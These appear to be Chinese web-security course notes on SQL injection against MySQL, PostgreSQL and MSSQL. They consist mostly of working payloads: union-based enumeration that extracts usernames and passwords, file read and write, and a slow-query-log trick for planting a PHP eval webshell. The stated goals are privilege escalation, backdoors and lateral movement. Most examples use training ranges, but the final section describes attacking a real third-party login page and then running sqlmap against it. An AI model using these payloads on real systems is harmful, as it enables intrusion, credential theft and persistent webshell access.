#知识点
1、SQL注入-MYSQL数据库
2、SQL注入-MSSQL数据库
3、SQL注入-PostgreSQL数据库
#详细点:
Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
(最终目的是获得权限提升等操作、放木马到网站后台、横移等)
演示案例:
1、MYSQL-root高权限读写注入
读写命令
2、PostgreSQL-高权限读写注入
3、MSSQL-sa高权限读写执行注入
4、结尾彩蛋-某Q牌违法登陆框注入
MYSQL-root高权限读写注入
(php脚本多一些)
读取文件:
union select load_file('读取路径'),2,3
写入文件:
union select '写入信息',2,3 into outfile '写入路径'
路径获取:phpinfo,报错,字典等
无法写入:secure_file_priv突破 (无法写入的原因就是这个开关设置了)
//限制读写路径 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连接上对方数据库进行绕过
set global slow_query_log=1 (启动一个慢日志,开启日志记录的路径)
set global slow_query_log_file='shell路径' (设置日志记录的路径)
select '<? php eval($_GET[A] ?>' or SLEEP(11); (执行一句话的后门的代码,执行的后门会保存在路径上去,然后链接这个路径即可)
关于文件读取和写入请参考这篇文章:
http://www.taodudu.cc/news/show-4259716.html?action=onClick
PostgreSQL-高权限读写注入
(php脚本多一些)
PostgreSQL的注入和MYSQL注入语句写法有些不一样,这里通过墨者学院在线靶场进行演示说明,靶场通往入口:https://www.mozhe.cn/bug/detail/86
测列数:
order by 4
测显位:
and 1=2 union select 'null',null,null,null //错误
and 1=2 union select null,'null',null,null //正常
and 1=2 union select null,null,'null',null //正常
and 1=2 union select null,null,null,'null' //错误
通过测试我们发现2,3位有显示
获取信息:
and 1=2 union select null,version(),null,null //获取版本
and 1=2 union select null,current_user,null,null //获取当前用户
and 1=2 union select null,current_database(),null,null //获取当前数据库名
获取数据库名:
and 1=2 union select null,string_agg(datname,',') ,null,null from pg_database
获取表名:
and 1=2 union select null,string_agg(tablename,',') ,null,null from pg_tables where schemaname='public'
获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
获取数据:
and 1=2 union select null,string_agg(name,',') ,string_agg(password,','),null from reg_users
判断是否高权限:获取dba用户(同样在DBA用户下,是可以进行文件读写的)
and 1=2 union select null,string_agg(username,','),null,null from pg_user where useruper is true
查看是否和当前用户一致,如果是,说明当前用户是管理员用户,相当于MYSQL数据库的root用户
关于PostgreSQL数据库文件读写注入这里就不说明了,请参考 :https://www.freebuf.com/articles/web
SqlServer-Sa高权限读写注入
(一般会搭建.net和asp的脚本)
案例
https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
测列数:
order by 4
and 1=2 union all select null,null,null,null
测显位:
and 1=2 union all select null,'null',null,null
and 1=2 union all select null,null,'null',null
获取信息:
@@version:获取版本信息
db_name():获取当前数据库名字
user,system_user,current_user,user _name:获取当前用户名
@@SERVERNAME获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
获取表名;
and 1=2 union all select null,(select top 1 name from moze_db_v2.dbo.sysobjects where xtype='u'),null,null
and 1=2 union all select null,(select top 1 name from moze_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
获取数据:
and 1=2 union all select null,username,password,null from manage
4、结尾彩蛋-某Q牌违法登陆框注入
网上搜的判断方法:
版本爆出来了
后续命令与上述命令一致,不一一列举。
sqlmap跑